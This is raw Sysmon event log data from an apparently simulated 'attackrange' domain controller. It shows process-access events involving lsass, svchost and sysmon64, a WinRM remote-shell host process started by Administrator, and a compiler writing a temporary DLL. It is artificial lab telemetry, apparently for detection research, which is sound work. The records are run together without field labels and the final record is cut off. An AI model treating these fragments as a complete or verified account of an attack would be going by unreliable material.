09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000003113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000003112Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.433{A5F018FF-2902-5F80-9A00-000000007F01}4160C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2902-5F80-76B0-050000000000}0x5b0760HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-28BE-5F80-0C00-000000007F01}604C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x80000000000000003111Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003110Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003109Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.428{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003108Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.366{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003107Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.366{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003106Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.350{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003105Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.350{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003104Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.350{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003103Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.350{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003102Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.053{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003101Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.053{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003100Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.053{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000003099Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:10:26.007{A5F018FF-2901-5F80-9800-000000007F01}2336C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\liw13j1y.dll2020-10-09 09:10:25.913 10341000x80000000000000003098Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28FF-5F80-8D00-000000007F01}47444736C:\Windows\system32\conhost.exe{A5F018FF-2902-5F80-9900-000000007F01}3984C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003097Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:26.007{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000003096Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 